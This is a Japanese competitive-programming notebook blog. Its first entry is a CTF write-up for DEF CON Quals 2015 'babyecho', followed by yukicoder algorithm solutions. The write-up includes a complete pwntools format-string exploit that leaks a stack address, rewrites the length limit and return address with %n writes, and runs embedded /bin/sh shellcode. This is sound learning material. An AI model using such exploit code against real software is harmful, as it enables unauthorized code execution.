srupのメモ帳

競プロで解いた問題や勉強したことを記録していくメモ帳

Defcon Quals 2015 : babyecho

問題

問題概要

明らかなfsbがある. さらにスタックが+xである. しかし文字数制限がある.

解法

 % file babyecho 
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

まず, stastically linked, strippedされているせいで, main関数の始まりがわからなかった. そこでradare2というのを使ってみた.

 % radare2 babyecho 
[0x08048d0a]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x08048d0a]> afl
0x08048d0a    1 34           entry0
0x08048f3c    6 275          main
0x08049050   47 821  -> 814  fcn.08049050
[0x08048d0a]> s main
[0x08048f3c]> VV

上のようなコマンドでmainのアドレスが調べられて, ビジュアルでどのようなフローをしているから見られるようになる.
あとは, break *0x08048f3c としてgdbで調べていく.

0x8048fdb:  call   0x804f560 ; printf("Reading %d bytes\n", 0xd)
0x8048ff7:  call   0x8048e24 ; gets()
0x8049003:  call   0x8048ecf ; printf <- FSB

結果, 上のような関数が呼ばれていることがわかる.
call 0x8048ecf が行われた直後のstackの状態は,

0000| 0xffffcb20 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0004| 0xffffcb24 --> 0xd ('\r') ;  文字列の長さのコピー Reading %d bytes\nの引数としてコピーされていた
0008| 0xffffcb28 --> 0xa ('\n')
0012| 0xffffcb2c --> 0x0 
0016| 0xffffcb30 --> 0xd ('\r') ; 文字列の長さ
0020| 0xffffcb34 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0024| 0xffffcb38 --> 0x0 
0028| 0xffffcb3c ("aaaa%x%x") ; バッファ

のような形になっている. まず, 入力文字の長さを長くしようと考えたとき, 現段階での長さは13(0xd)なので, スタックに2つありどちらを変更すればよいのかがわからない. しかし, 下のような命令があり, アドレスが小さい方の0xdは多い方のアドレスの値をコピーしたものなので, 変更するべきはアドレスの大きなほうであると予想される?

0x8048fd0:  mov    DWORD PTR [esp+0x4],eax ;eax = 0xd

よってesp+0x10のアドレスをFSBで変更すれば良いのだが, stackのアドレスは実行環境で変わるのでまずstackのアドレスがわかるような値をleakしなければならない. スタックにはバッファのアドレスが入っている場所があるのでそれをleakすれば, espの値などもわかる. あとは%nを利用して文字列の長さを保存しているアドレスの値を書き換えれば良い. (13バイト指定があるので2回にわけないと大きな値に変更することができない.)
入力文字数の制限を変更したあとは, bufferに入れた, shellcodeを実行すればいいので, どこかでeipを奪えば良い.
call 0x8048ecf の関数が呼ばれた中でのret直前のスタックの様子は,

0000| 0xffffcb1c --> 0x8049008 (lea    eax,[esp+0x1c])
0004| 0xffffcb20 --> 0xffffcb3c ("aaaa")
0008| 0xffffcb24 --> 0xd ('\r')
0012| 0xffffcb28 --> 0xa ('\n')
0016| 0xffffcb2c --> 0x0 
0020| 0xffffcb30 --> 0xd ('\r')
0024| 0xffffcb34 --> 0xffffcb3c ("aaaa")
0028| 0xffffcb38 --> 0x0 

以上のようになっていて, 一番上にmainへの戻るためのeipが保存されているので, ここの値をbufferの先頭アドレス(shellcodeの先頭アドレス)に書き換えてやればshellcodeが実行される.

ミス

writeupを見た
参考サイト
https://kimiyuki.net/blog/2016/01/08/defcon-qualifier-ctf-2015-babyecho/ https://mzyy94.com/blog/2015/05/18/defcon-qual-23-writeup/
radare2の使い方
http://poppycompass.hatenablog.jp/entry/2016/10/26/164034

コード

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

b = ELF("./babyecho")
p = process("./babyecho")

index = 7 #bufferまでのindex
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" 

#バッファのアドレスを出力
payload1 = '';
payload1 += "%5$p"
p.recvuntil("bytes\n") #0xd byte
p.sendline(payload1)
addr_buf = int(p.recvline(keepends=False), 16)
addr_esp = addr_buf - 0x1c #4 * 7
log.info("addr_buf  %x", addr_buf)
log.info("addr_esp %x", addr_esp)


#sizeの書き換え 2回
addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (99, index)
p.recvuntil('bytes\n') #13 byte
p.sendline(payload2)

addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (999, index)
p.recvuntil('bytes\n') #103byte
p.sendline(payload2)

#shellcode実行
addr_ret = addr_esp - 0x4
payload3 = ""
payload3 += p32(addr_ret)
payload3 += p32(addr_ret + 1)
payload3 += p32(addr_ret + 2)
payload3 += p32(addr_ret + 3)
payload3 += shellcode
nagasa = len(payload3)

payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[0:1]) - nagasa)                    % 256, index)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[1:2]) - u8(p32(addr_buf)[0:1]))    % 256, index + 1)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[2:3]) - u8(p32(addr_buf)[1:2]))    % 256, index + 2)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[3:4]) - u8(p32(addr_buf)[2:3]))    % 256, index + 3)

p.recvuntil("bytes\n") #1003
p.sendline(payload3)

p.interactive()

yukicoder No.488 四角関係

問題

問題概要

ノード間のつながりが与えられる. 任意の4つのノードの組み合わせを考えて, その4つのノード間のつながりだけを考えたときに四角形となっている組み合わせがいくつあるか.

解法

n=50なので, すべての任意の4つの組み合わせの総数nC4を全部計算しても間に合う.
4つのノードが四角形になるかを確かめる方法は, 四角形になるとき, その4頂点すべてはほかの3頂点のうちの2つとつながっている. G[i][j] := 1ならi-j間に辺があり, 0ならi-j間に辺はない
という配列Gを使って計算すればいい.

ミス

すぐに思いつきたい.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int G[55][55];
int n, m;
int main(void){
    cin >> n >> m;
    rep(i, m){
        int a, b; cin >> a >> b;
        G[a][b] = G[b][a] = 1;
    }
    int cnt = 0;
    rep(i, n)reps(j, i + 1, n)reps(k, j + 1, n)reps(l, k + 1, n){
        int d1 = G[i][j] + G[i][k] + G[i][l];
        int d2 = G[j][i] + G[j][k] + G[j][l];
        int d3 = G[k][i] + G[k][j] + G[k][l];
        int d4 = G[l][i] + G[l][j] + G[l][k];
        if(d1 == 2 && d2 == 2 && d3 == 2 && d4 == 2) cnt++;
    }

    printf("%d\n", cnt);
    return 0;
}

yukicoder No.487 2017 Calculation(2017の計算)

問題

問題概要

2017 + (2017*2017)2017 のMOD Mを計算.

解法

2017*2017のを2017乗するととても大きな値になるので逐次MODをとりながら計算していく. 掛け算足し算の計算ではすべて計算したあとにMODをとっても, 計算途中でMODをとって計算していっても結果は変わらない.

ミス

powmodのライブラリがあればすぐ終わる. pythonだとpowの3番目の引数を使って, powmodができる. 2017回ループさせても大丈夫.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

//x^k mod
ll powmod(ll x, ll k, ll m){
    if(k == 0) return 1;
    if(k % 2 == 0) return powmod(x * x % m, k / 2, m);
    else return x * powmod(x, k - 1, m) % m;
}

int main(void){
    ll m; cin >> m;
    ll d = powmod(2017*2017, 2017, m);
    printf("%lld\n", (d + 2017) % m);
    return 0;
}

pythonの場合

m = input()
print (2017 + pow(2017 * 2017, 2017, m)) % m

yukicoder No.486 3 Straight Win(3連勝)

問題

問題概要

OXXXOXXのようなOとXからなる文字列が与えられる. OはEastの勝ちで, XはWestの勝ちを表している. 先に3連勝したほうを勝ちとする. どちらが勝つか. 勝者がない時はNAを出力.

解法

連続した3文字が同じ文字であるかを判定し, 先に同じ文字になった方を勝ちとすればいい. 最後まで見つからなければ, NAとする.

ミス

なし.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int main(void){
    string s; cin >> s;
    if(s.size() < 3){
        printf("NA\n");
        return 0;
    }
    rep(i, s.size() - 2){
        if(s[i] == 'O' && s[i + 1] == 'O' && s[i + 2] == 'O'){
            printf("East\n");
            return 0;
        }
        if(s[i] == 'X' && s[i + 1] == 'X' && s[i + 2] == 'X'){
            printf("West\n");
            return 0;
        }
    }
    printf("NA\n");
    return 0;
}

yukicoder No.485 方程式のお勉強

問題

問題概要

A*x = B の方程式の解を求める問題. ただし, 解が少数になる場合はNOを出力.

解法

BをAで割り切れるか, 割り切れないかで場合分けする.

ミス

なし.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int main(void){
    int a, b;
    cin >> a >> b;
    if(b % a == 0) printf("%d\n", b / a);
    else printf("NO\n");

    return 0;
}

yukicoder No.40 多項式の割り算

問題

問題概要

多項式を(x3 - x)で割った余りの多項式を求める問題.

解法

普通の筆算のように計算していけばいい. b[i + 2] += b[i] の部分が筆算で部分.

ミス

dの大きさによる場合分けを入れていなくて1WA.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int d;
int main(void){
    cin >> d;
    vector<int> b(d + 1);
    rep(i, d + 1) cin >> b[i];
    reverse(all(b));
    rep(i, d - 2){
        b[i + 2] += b[i];
    }
    if(b[d - 2] != 0 && d - 2 >= 0){
        printf("2\n");
        printf("%d %d %d\n", b[d], b[d - 1], b[d - 2]);
    }else if(b[d - 1] != 0 && d - 1 >= 0){
        printf("1\n");
        printf("%d %d\n", b[d], b[d - 1]);
    }else{
        printf("0\n");
        printf("%d\n", b[d]);
    }
    return 0;
}

yukicoder No.33 アメーバがたくさん

問題

問題概要

アメーバが初期座標が与えられる. 1つのアメーバは1秒間で左右に絶対値でDだけ移動することができる. 同じマスにいるアメーバはくっつく. T秒後にアメーバは何匹になっているか.

解法

まず実験してわかることは, 初期座標の MOD D が一致しているアメーバどうしは結合する可能性があるということ. よって, 初期座標に応じてアメーバを別にして考える.
次にMODが同じものの中で, 1つのアメーバT秒後に最左と最右がどこまでいくかを求め, それらの範囲で重なっているところはアメーバがくっついている部分なので, アメーバがいる区間を結合して考えればよい. アメーバのいる区間が[l, r]となった場合, (r - l) / d + 1 でアメーバが何匹いるのかわかる.
あとはこれを同様にほかのMODの値にたいしても行えばよい.

ミス

c++で負の数をmodとるとおかしくなるので, 全端的に大きい値にしておく.
値のとりうる範囲に対して, 数が少ないなら, vectorで範囲全体を確保するのではなく, mapで管理する. 大きな値のvectorをとって、RE.
範囲を結合していくときは, left, rightの値を保持しつつ, 次つながるのかつながらないのかで場合分けすれば楽.

コード

AC

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int n;
ll d, t;
map<int, vector<pair<ll, ll>> > ran;
int main(void){
    cin >> n >> d >> t;
    vector<ll> x;
    rep(i, n){
        ll t; cin >> t;
        t += (ll)INF; //modとるときに負にならないように
        x.pb(t);
    }

    sort(all(x));
    for(auto u : x){ //modをとって範囲をいれていく.
        ran[u % d].pb(mp(u - d * t, u + d * t));
    }

    ll ans = 0;
    for(auto v : ran){
        ll left = -INFF, right = -INFF;     
        for(auto u : v.second){
            ll nleft = u.fi, nright = u.se;
            if(nleft > right){ //連続区間でないとき
                if(left != -INFF) ans += (right - left) / d + 1;
                left = nleft;
                right = nright;
            }else{
                right = nright;
            }
        }
        if(left != -INFF) ans += (right - left) / d + 1;
    }
    printf("%lld\n", ans);
    return 0;
}

RE

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;
const ll INFF = 1e18;

int n;
ll d, t;
int main(void){
    cin >> n >> d >> t;
    vector<ll> x;
    rep(i, n){
        ll t; cin >> t;
        t += (ll)INF; //modとるときに負にならないように
        x.pb(t);
    }

    sort(all(x));
    //dがでかいとREになる ローカルだとsegfa
    vector<pair<ll, ll> > ran[d];
    for(auto u : x){
        ran[u % d].pb(mp(u - d * t, u + d * t));
    }

    ll ans = 0;
    rep(i, d){
        ll left = -INFF, right = -INFF;
        for(auto u : ran[i]){
            ll nleft = u.fi, nright = u.se;
            if(nleft > right){ //連続区間でないとき
                if(left != -INFF) ans += (right - left) / d + 1;
                left = nleft;
                right = nright;
            }else{
                right = nright;
            }
        }
        if(left != -INFF) ans += (right - left) / d + 1;
    }
    printf("%lld\n", ans);
    return 0;
}